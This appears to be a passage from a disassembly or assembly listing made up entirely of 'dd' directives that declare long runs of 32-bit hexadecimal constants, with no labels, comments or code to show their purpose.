dd 0D616240Dh, 54C88921h, 953CA022h, 753D09B8h, 0FC84C939h
dd 0F99C8CEFh, 0B296AD00h, 99A67BCDh, 0D66109FAh, 0C70B1072h
dd 10C6581Ah, 70097E7Ah, 0A41A22Eh, 0E84458CEh, 79182446h
dd 0C7724D1Fh, 302B0E41h, 26D4E7AAh, 700327BDh, 8A0D1080h
dd 760CB48Fh, 3919221Bh, 2FC900FAh, 69E94C49h, 809180BDh
dd 50A76F02h, 2DC7045h, 70AB81E2h, 74C42FD3h, 0C21A1847h
dd 14791074h, 42969288h, 97259B43h, 0BC112C83h, 1512045Eh
dd 18001E93h, 4C57CC0h, 82C096ACh, 0DC4FB38Bh, 0E745CC66h
dd 1607CC72h, 0F7ECBED0h, 9446292Dh, 894BC00h, 0A5A6643Ah
dd 83B10045h, 0A08274B7h, 4313DD95h, 0CCD8544Dh, 0CFAE3CBFh
dd 0DD1920B2h, 0FF677C20h, 9DED0F59h, 0C2E055D1h, 4AC3E714h
dd 30E6B42Dh, 1350E1C4h, 5C67C7F0h, 0DCAF6D04h, 183F640h
dd 3600E0A2h, 2A3CE41Ch, 96404C10h, 80430890h, 4A67E143h
dd 427C340Eh, 83790ECCh, 8DA08C90h, 45E28A89h, 0C41E1090h
dd 0C8B39313h, 3201AE06h, 7F3559EFh, 0F20049E2h, 6302F0DDh
dd 0A33500F4h, 0C6B7CB1Ch, 2209DE7Eh, 22DFD369h, 821A0700h
dd 2F951F30h, 5C86D49Dh, 0C8111064h, 0BC07E2F0h, 0B374D853h
dd 1349C0B0h, 542350F2h, 181EF825h, 0F1B104BDh, 550C2A8h
dd 0B1D4ED28h, 8BA848F8h, 12589130h, 10DC6AE8h, 25ED60A0h
dd 0FEB4B08Ah, 48181F94h, 235F071Fh, 218951BCh, 1C281886h
dd 80DB33C3h, 5910D4EEh, 230EED07h, 4175DD5Eh, 937D1625h
dd 9F863041h, 35181822h, 0C54199CDh, 457EA800h, 576573FDh
dd 44222742h, 2852B8A0h, 97541411h, 3716AB94h, 1C04749Bh
dd 1B43EA96h, 9925EF4Dh, 7D6C2024h, 177EB84h, 323F0CFEh
dd 0DC619F58h, 8C165F53h, 443526F6h, 4577CC8h, 3C5E6EF5h
dd 0D73490D9h, 48B0F3A3h, 5FC0009Ch, 26C938h, 1C6E69B8h
dd 6AEF3AC7h, 7065D908h, 0D0119Ch, 422412CDh, 328DE5D8h
dd 0CA2188B7h, 4F96E2Ch
dd 17D70761h, 0F8508934h, 2A01BB7Dh, 7F375E0Dh, 2C249106h
dd 0CCB0D31Fh, 0C6881BC4h, 59810060h, 4E715B7Ah, 0F509AB4Ch
dd 928D5A34h, 7D10D8A8h, 711A3A28h, 3B80472Eh, 8300AE44h
dd 0F1D7502Ah, 499F3DA9h, 0C204584Ch, 0A68D1202h, 0CD1E00BCh
dd 895DBF0Eh, 37053E16h, 9E5FD782h, 84C0A29Dh, 9C16CF5Ah
dd 20202867h, 0C2907E1Ah, 9E647D80h, 10FFDCC4h, 0E64F1Fh
dd 88587F3Dh, 0AE061E24h, 0BA9E7912h, 5805EC4Ah, 9F11BC24h
dd 0AC9C487Ch, 83C8F0D0h, 363EBA80h, 0CD64F4Bh, 0D3EA1D79h
dd 0E7449E39h, 8127BAEh, 9D161A2Ah, 85B9BC98h, 29BDEF9Eh
dd 0E4D21106h, 3098C076h, 0B4B68D0Bh, 0C3FC6877h, 56DBEF37h
dd 6500C4F9h, 9997C235h, 0E281A712h, 6180E06Ch, 20EFDBBAh
dd 769A9303h, 0E2AB7598h, 0B8A5C0E0h, 0D114248Ah, 0A44C69F4h
dd 1880B099h, 0D6EBEE58h, 6622032Ah, 0C5E2FA27h, 92FC1BCBh
dd 59201F1Ch, 6DDAAE3h, 0EB99866Ch, 1E442144h, 0FD140136h
dd 0CA193259h, 9BF43C40h, 0C67100CAh, 5516D657h, 18073677h
dd 1AA05C13h, 4E801502h, 8276D0h, 5B2A46Eh, 2087F55Dh
dd 0E10471EAh, 8BFB7A98h, 349A8605h, 89B800CCh, 12BAC036h
dd 60D3CA4Ah, 1BC780F1h, 96049117h, 9C0C749Eh, 2C8702FCh
dd 8896076Ch, 888F05ABh, 5490A3F4h, 4FEF6D04h, 0D4F2E852h
dd 5276E00h, 60A41268h, 2DE22940h, 0B090F6CFh, 4E001E25h
dd 3ED5FC02h, 12E8667h, 0B54183A9h, 7DBB0BF2h, 68904A14h
dd 12E4810Dh, 22D68D46h, 4820801Ch, 1EB9A232h, 0C2F31155h
dd 9B014E28h, 9D4DA070h, 3441C73Ch, 0AE5B1A30h, 0B28C2090h
dd 57F4FCECh, 96EE1998h, 58B09852h, 310C5CD0h, 78609F4h
dd 25804C38h, 463BC6BFh, 40DC4CA3h, 0B416A132h, 8B2402A6h
dd 0E1808C2Eh, 0D0E41C87h, 0AB3E5927h, 0C9A5EB02h, 0C01DCB0Eh
dd 13702A71h, 5721FE35h, 0BEE060C8h, 6B049873h, 78FB47E3h
dd 0EAE55B80h, 6CC80EC0h, 0C9331EC3h, 0E471A064h, 1F88ACB6h
dd 90AD17h, 9603CE4Eh, 0A177800Ah, 38F3E8DCh, 80C09135h
dd 3BB86D04h, 0B40095FCh, 0ACFF3ECEh, 5D443E2h, 0E7B5CC53h
dd 93E8C813h, 9A492284h, 0BC00B491h, 0BDDEDF08h, 2828928Bh
dd 34808Ah, 5C5B8303h, 1D2EAFE1h, 0D93B5AF4h, 0D43481FCh
dd 31662106h, 8C43DC33h, 2300773Fh, 5CB54054h, 8A026548h
dd 0FBAB0EE4h, 95B4F2E2h, 4CCC4CA9h, 0DE796E00h, 95A8778Ch
dd 0BDEB00C1h, 0A2AE6580h, 10A89D1h, 64395C14h, 53B420A5h
dd 25CABA19h, 44E0ABC9h, 2AF8E894h, 831110FFh, 895B0417h
dd 0C0EF3BCCh, 9BA28FE4h, 820DDA00h, 96495AA5h, 91744B94h
dd 22CA99ECh, 0B81827CCh, 54981970h, 8A8710CBh, 19445CC4h
dd 380F02EDh, 2AEE6927h, 0E411E0E9h, 0F324E2C4h, 26C0DCBCh
dd 0F84DF262h, 32342ED4h, 84E549D0h, 0C3423F01h, 0F8480A59h
dd 0AE92449Ch, 0E72D5016h, 733AE430h, 5E553B49h, 26A0C02Ah
dd 0AF901011h, 0EDA1E01Bh, 0D20AF419h, 5A2D7102h, 0DBFD5708h
dd 0A34300CCh, 9418A6Ah, 17007C72h, 601BEEC8h, 9799110Fh
dd 9F016494h, 0EDA436Dh, 0EFE0CC4Ah, 270FE5Ch, 0A1A0D42Dh
dd 0C853EB12h, 0A74AB01h, 0CCF2DDC9h, 0A5FB0008h, 1C51FC4Eh
dd 404139D0h, 12A0BC70h, 64D8C287h, 2B1C8930h, 7541DC60h
dd 0DFFEFAh, 0DE3A6CCFh, 79E8E221h, 0B08AA207h, 56B4758Fh
dd 1A0184B9h, 842FCF64h, 9B4669Fh, 0E434958Ch, 84191098h
dd 0A6D7138Eh, 4C6CD004h, 68BA8A8h, 9E035496h, 0E2D5F8D4h
dd 0E61D884Ch, 0C83905B9h, 8CAC8F13h, 189B8568h, 0B599C980h
dd 43D22BFh, 42726DBh, 0A24084F1h, 8473CA30h, 524099C4h
dd 0EB2D6E41h, 0A419E107h, 0B504B90Fh, 174FAC90h, 8249773h
dd 0D0D24093h, 4B2C14FDh, 1580093Dh, 40E63099h, 74F5248Ch
dd 0CA85F20Bh, 596C098Bh, 882425E8h, 0CF04BC9Eh, 6C383F0h
dd 70B94C19h, 8640F932h, 0E444186Eh, 0D9381FDAh, 109700BDh
dd 5A9C13C1h, 9189E113h, 800388A3h, 7CFE0FD8h, 14059025h
dd 5A6D00F8h, 0AEC68F4Ch, 2408F63Dh, 5EDFACFh, 0D9921419h
dd 94032A64h, 9A250D89h, 0FBE8h, 8F3D560Ch, 0D60030D2h
dd 9EC1937Bh, 79AF46B6h, 874312FAh, 4F2C4125h, 628EE714h
dd 76609868h, 68A7979Ah, 0D8CCF9C2h, 21408C94h, 5F397FFh
dd 11873B94h, 80D049D7h, 0DA12E8C8h, 342E2902h, 4C87C145h
dd 4A2200CCh, 0D9C8287Ah, 0CD00B3F1h, 6CC5A346h, 1370F77Dh
dd 0CC8D89A8h, 6B009460h, 3272359Dh, 2A0B0FBh, 0F9B97FE5h
dd 0CC719266h, 0BD4F3181h, 80052EDEh, 0D9357D20h, 25B04213h
dd 0FCA328B4h, 3C8403AAh, 0EC499D46h, 3E6094E0h, 2F702309h
dd 75E85A7Fh, 0D601007Ah, 613C5703h, 54B4F3D4h, 289469h
dd 20E64B2Dh, 0DAC33C85h, 0BAD5CF00h, 7827D4CEh, 882E1DA1h
dd 346C2543h, 0A0F87C00h, 78C41FB9h, 0DA413CFAh, 40E823ACh
dd 0E849825Eh, 0EFAA9404h, 504863Fh, 27932215h, 703EB0BDh
dd 841557F3h, 83F0E09Eh, 0AF53D050h, 5CAC1444h, 95418632h
dd 73B20320h, 83100BFBh, 4498573Dh, 89111C2h, 9F4C1844h
dd 372E759Ah, 0EA003E59h, 3EC2AE9Ah, 6BF89E24h, 5C2010C5h
dd 0E3FCAF02h, 481D2384h, 991FC354h, 0ABD8006Ch, 0F5E28A11h
dd 2AF9132Dh, 7762CC88h, 0A88CE344h, 3794119h, 2463D6FFh
dd 68229372h, 0A61300EFh, 3F19E499h, 0DC0029BBh, 1D5FA3EBh
dd 0E4C26BEFh, 1281CFFFh, 0A09A7DC1h, 0CC76E2BDh, 20991542h
dd 5343D097h, 0CA19A71Ch, 10986FC5h, 30E2AC53h, 0AE411677h
dd 8A8C4ADCh, 12A6607Ch, 0F200950h, 161B2E07h, 6385519Ch
dd 0C2827930h, 42687104h, 19C0DE67h, 2B64EAB0h, 0C2219A29h
dd 6D8DC174h, 6488D3BCh, 44F802EBh, 8FFE350Ah, 0F0564541h
dd 0B3076501h, 0FD248C5Eh, 1916A87Ah, 1A44E437h, 0E300448Bh
dd 23340CC7h, 5CA39D06h, 0A742DE99h, 91489CB0h, 0C6E100A0h
dd 67112D1Eh, 1802A4A4h, 0D4A1308Fh, 0E0F45649h, 0A3385FFAh
dd 60751774h, 1CEE4305h, 40B38603h, 24F41D26h, 8A051B0h
dd 2D59041Ah, 0B56AC07Eh, 89E82878h, 96C6011h, 6D3307F3h
dd 9398D526h, 47951446h, 0DD8A14h, 556B480Ch, 16FFCB03h
dd 0F5670EAFh, 11192C02h, 58E5BCh, 0D71B617Dh, 6039FD2Ch
dd 851EF9AEh, 5D82654Dh, 70B62011h, 2C1997E4h, 7A84C16h
dd 27814A84h, 9D9EC40Ch, 0FC0C44BCh, 8878520h, 98ADC428h
dd 80852C18h, 75D84058h, 0DB03B905h, 0A26F02BDh, 4406B225h
dd 29C76F78h, 6C7F60C0h, 23007EF0h, 571B8B99h, 3DCB6431h
dd 0BF2ABEEDh, 841EF8C8h, 0C9582CEBh, 743CA690h, 0EC9622C1h
dd 69C83537h, 69BD7500h, 7BC6A043h, 77C100C9h, 202EBB19h
dd 60B9797Fh, 2CACE280h, 2BCD797h, 0ADE68A4Fh, 0E0E1BAF2h
dd 2CE33173h, 539E8990h, 0B13A80E4h, 0AA624EA0h, 0B0D3Ah
dd 5FAD2F9Dh, 9EF7D6C6h, 0B0594770h, 8F96BF25h, 0CE4200BEh
dd 80207427h, 651C8360h, 0BA03F8AAh, 0F45A1BE7h, 0C30804EAh
dd 0F42AADE9h, 80095B4h, 7DD811B8h, 6518C296h, 30E2A936h
dd 0B527BEB8h, 2F1D500h, 19B249F0h, 0F3E200FBh, 77F5EFE1h
dd 80998092h, 403D8702h, 0E331C19Eh, 7D6E7E0h, 0A422FBEBh
dd 0DF8EC005h, 0E49180BAh, 68281A00h, 32E46C4h, 0B3119C89h
dd 902480C1h, 1F64A874h, 0D0BC9D20h, 0E415133Eh, 98D44DE0h
dd 850050A3h, 0D1E2BDC9h
dd 0BB03FA4Fh, 795918A0h, 1D582F7Ch, 0E5F0018h, 30CC2D41h
dd 7F10067h, 21E3A204h, 50008419h, 2FF97B1Bh, 951F129Ch
dd 9084F829h, 2096221Ah, 6B329DBCh, 8BD4901Fh, 0A2658D09h
dd 0E0985A00h, 67250A28h, 5FD83918h, 40728340h, 350115B2h
dd 1BBD5489h, 8C2D29B3h, 6A1FDF01h, 418D38D3h, 0FAF522ECh
dd 17D6C048h, 80BB8312h, 9CA08CD4h, 0C3098493h, 1AD90CFh
dd 1C1BD57Ch, 4CD8286Ah, 0A9D19800h, 0E61CD37Ah, 0CA32093Bh
dd 0E84880AEh, 2202B7CBh, 593D64E4h, 1160D5B3h, 2C0FD9C1h
dd 72AFFF80h, 41713B18h, 0BD7B0067h, 5BEC8E8Fh, 0CA2F3128h
dd 0D6409094h, 0C1380061h, 85A83B72h, 0DC000F5Fh, 1A2F5AE8h
dd 0E1DEB77h, 4DAC1EA0h, 2A3EB960h, 0AE00E79Ch, 0B5D06859h
dd 91A085FAh, 0CF4480ACh, 0BA1A84FEh, 0F1751DF0h, 294F407Eh
dd 2F469C40h, 57B663Fh, 0F91E9538h, 3A80090h, 30B62D83h
dd 161A190Bh, 97CE4ECh, 4F932B0Dh, 20009859h, 37D3F38Ch
dd 88120073h, 0ADC90581h, 0A0C091B0h, 67048C11h, 4050600Fh
dd 0B8659072h, 9B85F214h, 7F0E0058h, 0AAADE884h, 56175A9Dh
dd 8010B2C0h, 11A203D8h, 5BB80372h, 7FFD1916h, 0FE20BCF0h
dd 60B44D2Dh, 7F9DAFF4h, 3E41C080h, 0A5EF34DAh, 18F17600h
dd 0BD04B65Eh, 48814C8Bh, 1B2E9322h, 0EC600834h, 0BE06C28Ah
dd 321344A4h, 0CD1D1005h, 10201898h, 6C8A4C8Ch, 18AF2525h
dd 9AAF6B60h, 7AE0C68Eh, 6E1F2900h, 0C0C4D599h, 0C2BD091Dh
dd 0CC02BA5Fh, 32260C9h, 6089291Eh, 2810D833h, 990763B9h
dd 51194635h, 0C59A73F7h, 3C6925h, 9B15B347h, 3A53E4F4h
dd 8100EB55h, 0D2AD188Ch, 0AE480B03h, 27D3C0ACh, 0EC44FD7h
dd 4E5AB36Bh, 0DC67B880h, 69590C12h, 23F1087Ch, 0A981801Ch
dd 559ACA06h, 0DA352E09h, 0C0C44Dh, 0B1AA8F1Ah, 33E0569Bh
dd 7A9A6907h, 3930C1F8h, 0C3A9F9h, 8EBDBB8Dh, 90AA9DC7h
dd 10970725h, 6F5574h, 7AB074CFh, 0EE600F06h, 0F5D29D12h
dd 1757AE1Dh, 0E282498h, 0E67570FCh, 0D2D0D427h, 745692B5h
dd 96A2990Eh, 0BE06837h, 7E0F17h, 9B61D23Dh, 76A865Ch
dd 96FF4C00h, 6F8281B6h, 63FB2671h, 4F1091C0h, 609088h
dd 4BBFB31h, 5ED41DE7h, 13C54D00h, 0A5D83EA6h, 0F5FF28E1h
dd 80D891A0h, 0E2E60405h, 85051920h, 1196F6F8h, 0F91EFC32h
dd 9D213B0h, 186880F0h, 0B50D0CCBh, 0F602A8D3h, 22867820h
dd 1EB324Eh, 0C2149608h, 97209B08h, 1817D3E8h, 30312F2Ah
dd 31B58D12h, 842C8194h, 0E46C0DC3h, 7D9FCC02h, 0E4805E42h
dd 0DA75BCh, 0A377EDF3h, 5F640454h, 0D1C92900h, 25AEE0AFh
dd 0D0951432h, 94706CCFh, 411B7008h, 7B14B0B4h, 13102F10h
dd 0A4A28498h, 267416C7h, 0F144389Fh, 530D3EE2h, 0F907AF3Ah
dd 0E0AB90ADh, 0C30B9E8Fh, 11129805h, 88EC9D15h, 5F602B82h
dd 1140B056h, 0C2A998h, 0F412137Ch, 0DAD8A320h, 0DCB32801h
dd 3AE8DF65h, 8E0B0023h, 0B17E95E3h, 0A46E7E00h, 3ED9D29h
dd 4FEF2B1Bh, 74F8F9EBh, 0E04C8C12h, 0CDC8C0F8h, 0BE9D2Ch
dd 2913B388h, 0FD8441BCh, 0D25CF0Ch, 0F6E7E88Bh, 0D59C2844h
dd 0DADD0DCCh, 2E7898DEh, 0D1154C30h, 0D0B40114h, 25898352h
dd 413EF343h, 0F2316035h, 1E5AB7BCh, 0C065A2CEh, 4B8C511h
dd 56F6BD6Ch, 8514C148h, 44AC9986h, 0EE801189h, 0E8428C1Eh
dd 0C83A3527h, 5C9A854h, 484EE044h, 8008ECA5h, 766845E2h
dd 0F5375B0h, 0B2AE8844h, 0AD680356h, 2901EA29h, 27DEF6A7h
dd 3ACC548Fh, 0B9B704Bh, 11B9257Eh, 0A25EC004h, 372B1E88h
dd 0CC40E89Fh, 9FBA5AEBh, 0C581718h, 0D33830BDh, 0C906340h
dd 8F038705h, 50A1FAB0h, 300050C2h, 0B1819117h, 9D0045C9h
dd 4FB85503h, 5F9B1139h, 0D0C8209Ch, 0BD658A7Ah, 14CB1538h
dd 93487D01h, 8036CB97h, 1AFF8E81h, 488B727Ch, 884AF022h
dd 0CE1C942Ch, 0F800A16Ch, 0F0314524h, 0CBB0017Dh, 0E4E86621h
dd 875C70B2h, 30C89F4Ah, 9942864Bh, 0E5B4205Eh, 0E03B54Fh
dd 1B4113BCh, 96C3812Ch, 0CD803438h, 40E23FE6h, 3E1D75F6h
dd 1700DE1Ah, 5E53FA28h, 42E509C5h, 0C4599F50h, 47487380h
dd 2AB92Ch, 0F6347BEDh, 676D189Eh, 9516E890h, 2008E880h
dd 41B8809Ch, 5657AC20h, 0C3F8ED00h, 1AABA8E7h, 0F9300779h
dd 0CBFE9651h, 998DE100h, 199512BCh, 140C198Ch, 61294A84h
dd 7C201D0h, 0C83181B7h, 846466B9h, 44B526F3h, 151A86ACh
dd 9700392Ah, 0CD2F3607h, 4FAC25h, 4EA3E7B7h, 5FA8EC17h
dd 0B8CF3E00h, 67E894F6h, 80254C73h, 7C8C2380h, 8E01502Dh
dd 0C31289CBh, 0FED29A02h, 0BA004B08h, 84118DDAh, 349454E2h
dd 80F53747h, 627FD420h, 42A201EDh, 291E503Ah, 0C224CCBAh
dd 4B8C1A4Ch, 25991470h, 198BE94Dh, 0E4CEC198h, 0CEE86500h
dd 6D88C2AFh, 2F7D2CA3h, 70E20200h, 0C4C211DEh, 0D6C01C5Ch
dd 0FDDA97h, 0DF036F52h, 6EE4DB26h, 76BFAE00h, 0F2AD8F5Bh
dd 9CF49C23h, 1E848059h, 0C6C3CF37h, 0E0E1A000h, 57672AB8h
dd 5B087EBAh, 1664E82Eh, 747059F8h, 94D98303h, 2CC42524h
dd 6400DF76h, 4143D1EDh, 0A0AE7F75h, 54EFF5DFh, 1A6FE463h
dd 0C1CE17DEh, 8E96861h, 9894BD42h, 7E068907h, 0D1C3D9E0h
dd 2ABEA8A3h, 0DBDD0EF0h, 0B8FC023h, 8B371CF2h, 0DC739D49h
dd 0BC132413h, 1F006CECh, 690675A3h, 5F003F64h, 0CFC558D1h
dd 50DF169Fh, 84229003h, 392D0F0Fh, 0BEB903FFh, 5403D840h
dd 0AB102D47h, 6B0F5C64h, 941734h, 0A1D19E2h, 0AA8126B7h
dd 93B200C9h, 0EAA21210h, 7BB3BB01h, 0DC0585F8h, 0AF80F422h
dd 4286DCEh, 1DF27201h, 949D23EBh, 0D280B842h, 0B51C0FCCh
dd 4501792Ah, 0C1AEB685h, 332BD124h, 15B700D0h, 4871B5D6h
dd 743A0349h, 0C822CF46h, 0A8C15BA2h, 6CFC1532h, 0FDC43D80h
dd 23009FD4h, 0E59040Ch, 4D60D6Bh, 807494CFh, 0F62F4FCBh
dd 588AEF0h, 0BE5E15E8h, 8738C114h, 0B347392h, 289D630h
dd 0E6E8F454h, 0B4B900CCh, 9AF0B59Fh, 32009E9Bh, 8D3FDD8Ch
dd 63D458h, 0EE7DB6Bh, 0D0070C71h, 96EA3E3Bh, 0A4A3F890h
dd 68236F00h, 5494E9A6h, 0CF082400h, 67E5B739h, 8F8404C6h
dd 0A2291BC2h, 94285FB0h, 0B4FE1C60h, 0A995C010h, 0B89CCBA1h
dd 90248B2Fh, 19290D68h, 0E0875512h, 5C86089Ah, 8C0A4F1h
dd 0A1ADF44Dh, 6C9B9301h, 0BAF201CDh, 32FD331h, 0BBE32184h
dd 6864D0C2h, 3280F099h, 0A9E8F30Ah, 1C4012E4h, 48D722h
dd 0CF9F89D3h, 51AD7603h, 0A033B2F6h, 0BF988ED0h, 49840CA4h
dd 6EDC4824h, 0CD7B24CAh, 609C0039h, 0DC669DB7h, 0E8CC124Bh
dd 1220908Bh, 0C81106E7h, 530A0140h, 504D1BE8h, 719C8609h
dd 880192E4h, 50098970h, 0E1FB381Bh, 0B47C1118h, 0ADAC0193h
dd 0D6078457h, 8C019C6Ch, 0A3F48518h, 0C064BB35h, 97E14416h
dd 0C00C8B5Ch, 0ACCA28C9h, 9EC00054h, 16B120C1h, 2257F83Fh
dd 5BA610D4h, 122511h, 6FB4DFC6h, 10FD44h, 0B6983266h
dd 0C06B0C5Fh, 0A0A1390Fh, 0DE7C03Eh, 632681h, 0C6BF0212h
dd 41BAC4AEh, 0F86E1C13h, 85FB5C04h, 0F86708Ch, 0EAFCF2A9h
dd 81E7BC62h, 480CAC42h, 9B4434D0h, 0ADF000ACh, 0ED48C193h
dd 0E7249F75h, 0C640FC36h, 4FBF122Dh, 68BF804Ah, 231EC287h
dd 0AD93CAFEh, 25BC08D8h, 3410F54Fh, 2D0096A5h, 219A0C64h
dd 16903Dh, 970EE093h
dd 0A01D82BCh, 9D8FAA16h, 48EC8CC8h, 881E5A86h, 0D143409Ah
dd 907BA29Bh, 8E6C5E0Fh, 92B5A376h, 0A0D03F77h, 9A84825Ah
dd 94CFB82Ch, 0F7A082FCh, 0F8C0AD57h, 0F309A38Bh, 79A6E8BBh
dd 5C1A0028h, 4ED5DB2Ch, 0A14F9D03h, 0E9904363h, 84C0B15Eh
dd 50049E92h, 7C00FFEAh, 480F3EBDh, 0F7D2716h, 0A9B42DB2h
dd 9DC80BB6h, 800FF8D3h, 85F180FDh, 0C290CAh, 0F2B87437h
dd 466E651Bh, 0CB62279h, 0E78BE802h, 57C8E4D2h, 77004084h
dd 0B9520BE2h, 960353DCh, 4B0F5ED5h, 0AC17F597h, 4CB8E098h
dd 0DE80C029h, 10D3462h, 70774300h, 0ECABFFD0h, 8C5D0478h
dd 401C02C2h, 2B11BCE2h, 8B7C2Ch, 5B85ACFh, 2E9A8FF5h
dd 75142250h, 0F64D8A00h, 6A4EA8AFh, 0F30927C5h, 2A825461h
dd 0D638C420h, 0E57700A6h, 60BAD93Bh, 6EB8151Bh, 291C2D09h
dd 20644EE7h, 345B8396h, 4B938040h, 1695A02h, 4D6BA197h
dd 0E8015E26h, 367F54DEh, 0AEE7500Eh, 3EB7800Ch, 5080BBF8h
dd 8A2CDDh, 0E1EE330Fh, 0F85AE009h, 4505A100h, 661DB127h
dd 128517A5h, 0D88A1Fh, 9BBFEF14h, 0F4BB2266h, 0C72507F7h
dd 0C7130CCEh, 0AECA3153h, 9BA2059h, 12BD0509h, 18389098h
dd 3036008Ah, 0ADE842EEh, 349E3A2Ah, 18D4800Bh, 1F6A54B4h
dd 0C1EFFFC3h, 0F7CF5F44h, 30EDFD95h, 0E4FDAD68h, 5A1EA689h
dd 0FD09E994h, 1CA0C684h, 4C1A0EDEh, 9250C01Ch, 249F8727h
dd 48CAE30h, 90330054h, 88640F2Ah, 6A7D7830h, 0C47B7D28h
dd 1C04474Bh, 0CCA2BD9Dh, 90295400h, 52C785EFh, 1E629702h
dd 74671107h, 601D4464h, 0BE9B8789h, 29574748h, 49928C24h
dd 80889224h, 7A6B7E74h, 0EDA3001Dh, 607FC341h, 0AC0181B1h
dd 0FAB9FF8Bh, 4EE0D4C5h, 10111439h, 182E3CBBh, 0E06C25C8h
dd 41347701h, 0BE1594D3h, 0D1E405D9h, 9DBC2E1Dh, 0F1890EE6h
dd 76DBC2C1h, 87743CACh, 5910D1B0h, 91B36F6h, 0ACF1B447h
dd 914B9C82h, 4DC6B120h, 8BF000Ch, 0E85131BBh, 1F4AC2A3h
dd 9215A821h, 12ABA010h, 12CC0C2Fh, 44E85E58h, 127C9C35h
dd 14448441h, 0BFFCA4h, 48E1DAF0h, 73ABC5A2h, 4488964Ah
dd 4BF8BBh, 0BFFB1C53h, 5F8626E3h, 0D7956105h, 20ECB09Ch
dd 0B3E05280h, 0A4B0D2BDh, 16EA4F21h, 80A4E292h, 0E43B164Bh
dd 957D1FF1h, 0B4251401h, 0FB320E80h, 0C30EA55Fh, 1DA31543h
dd 0C770B9C0h, 16AA881h, 16764EA4h, 4823FA80h, 1201158Ch
dd 45B96990h, 5C738414h, 23FB810Fh, 5A4400F1h, 74558077h
dd 0F25E006Ah, 53B6E64Ah, 0EC3D935Dh, 91D982C8h, 798B3590h
dd 17C60FACh, 9F99C8BDh, 8E7D0E89h, 84512030h, 0C8981B83h
dd 0BB80C6E9h, 0A1A8B924h, 79EB010Ah, 4C2AF43h, 1A90E816h
dd 7FAA380Bh, 0D8C4DEh, 22D00897h, 301D1EDh, 9A07E096h
dd 0ABC507BCh, 0CB00C0B2h, 5330D915h, 0BF764614h, 0A07CD81Ch
dd 0A5EB007Bh, 0AF0CC4D1h, 0E9F8ECEDh, 98BC206Fh, 0C0025397h
dd 0CC6A921Bh, 0F164E2FAh, 4FF00004h, 48F26DE4h, 0A3EB3800h
dd 0A6B66B1Bh, 9D0D7825h, 0A047FC90h, 0F2342402h, 64DF140Bh
dd 97154E14h, 80C8F99Ch, 0B2075BE5h, 0FCB5F0E7h, 0C3342801h
dd 0DE5E4980h, 0C1AF14FAh, 1E08EC3Dh, 0EF89FE51h, 0A47978h
dd 6AC49B5Bh, 68B0BEA0h, 3C11F604h, 81EBAD76h, 30DE7319h
dd 93421F90h, 51351402h, 500058CBh, 49074D7h, 0DE763811h
dd 0BC549416h, 2663C04Ch, 0D539FDh, 0EFD05F4Fh, 7FAD20C5h
dd 9CB81300h, 34308687h, 0B1849888h, 479EBCh, 26D2B084h
dd 6700B96Dh, 3E070B6Eh, 0CAC78Dh, 0A6D789FAh, 879F09A0h
dd 88883CE9h, 21086411h, 0EA5636h, 27673F1h, 0E1592D0Eh
dd 0FCADEF0Dh, 5222FF89h, 48250074h, 826E56EFh, 550BD27Dh
dd 51944642h, 0A3AC001Ch, 2AD837B7h, 2638F61Eh, 467B4500h
dd 90A3F7Eh, 0FC1E536Fh, 38D1330Bh, 121A8900h, 4E126A1h
dd 0DE8B5E4Eh, 2394A242h, 12C3049Ah, 0F8809466h, 1319C5B0h
dd 0E1BB6D80h, 9A40004Ah, 7F0DF218h, 57171BC8h, 0DC8C8799h
dd 70820046h, 0A36F1128h, 370435ABh, 0D4BBE46Eh, 900ACB2h
dd 0C10471D3h, 2A000D3Eh, 6D5978FFh, 77D19591h, 7A030A7Fh
dd 5850DEh, 52200797h, 1C1A761Dh, 59CC19F2h, 0A20A009Ch
dd 0B12B4DAh, 0D9906704h, 47C0731Eh, 13171B22h, 899CD37h
dd 0B2801628h, 858A7AA7h, 20E800BAh, 154D96E1h, 0C025E1Dh
dd 881D1F1h, 144422h, 0F09690A5h, 788485F8h, 71F4D4Ch
dd 1F3EA22Fh, 632521BFh, 0B423EECCh, 369412h, 2A522CA9h
dd 51348C07h, 0BC00518Fh, 0C5E028ECh, 0E73E023Fh, 0B80817D3h
dd 347AF4E2h, 77B4334Dh, 39E30734h, 0DC8000ACh, 0AB654D4Ch
dd 41FC2600h, 0E9B260C1h, 116E1EC0h, 0E182003Fh, 96F4A467h
dd 1B6280BCh, 5512112Fh, 0C43CB8CCh, 0AA80E19Fh, 0F142ADh
dd 0C55EB56Ch, 9A7BED25h, 0C482F325h, 58420314h, 591CF295h
dd 15DE66D8h, 0E8861E2Ch, 0CEF367E0h, 0D11A39A8h, 52790500h
dd 0F0456F80h, 67A2C809h, 0A8B0B4Fh, 0B8584420h, 0BC6C0199h
dd 1DF9473Bh, 0AB7AC06Ah, 6025DD05h, 0C217DFh, 0E05CD4BCh
dd 774A817Ch, 3ABD900h, 45C5001h, 0B34F00F7h, 0B44153D8h
dd 2978907Bh, 0FA547F38h, 0ED95EA07h, 3E40E9E6h, 0A7025Eh
dd 4C6BF5A3h, 0A4F67F67h, 51B43701h, 0EA4E3D1Eh, 622BAF8h
dd 4ABF3FB2h, 10F838F8h, 0B5511904h, 0FD8002AFh, 305EA803h
dd 5821F14Ch, 0B3B0E0EBh, 0C17BBF00h, 0B3DE53D7h, 0C02E7FCAh
dd 0E165B589h, 0D90001FEh, 6233AE9Dh, 60FB9230h, 0B20DC071h
dd 51601C7Fh, 41964F31h, 0F4D379FCh, 0C2D118C6h, 0FFE570FAh
dd 86B1CE6Fh, 0F83050CBh, 16C901AEh, 19BA4BF9h, 0F816FF9Bh
dd 0D91DB45Eh, 1175DDC6h, 63F50761h, 0A0E8C9B3h, 7930B7D4h
dd 8F329C8h, 340D5270h, 3EC09149h, 0AD9201C5h, 0A33DFC6Ch
dd 0F915FCE8h, 41704961h, 0D400EA51h, 0E9006352h, 0C152143h
dd 7CA2DC29h, 51F34C77h, 53A06062h, 90EB3002h, 0BB7D0h
dd 11BDBBD8h, 5CFC1264h, 0D3403400h, 0DE742557h, 0CB8AB7Ah
dd 0D8B472C0h, 6917DD80h, 5B11D1C8h, 3CC0E84h, 0C729C076h
dd 3A5BD374h, 0F3013C25h, 434F4DA5h, 51488C9Bh, 0AA51B8h
dd 0FFEBCA7Eh, 0AD532108h, 0FAC85828h, 90627705h, 84402334h
dd 0F28A4298h, 0CAEF035Ah, 810BE3A7h, 51A86998h, 70799E30h
dd 606C4E9Dh, 0C7CAB17Eh, 0D4A952D6h, 8F9C4B0h, 1500B47Ch
dd 0E0FCD914h, 32E4D321h, 5DA8733Ch, 1967602h, 8A1C387Fh
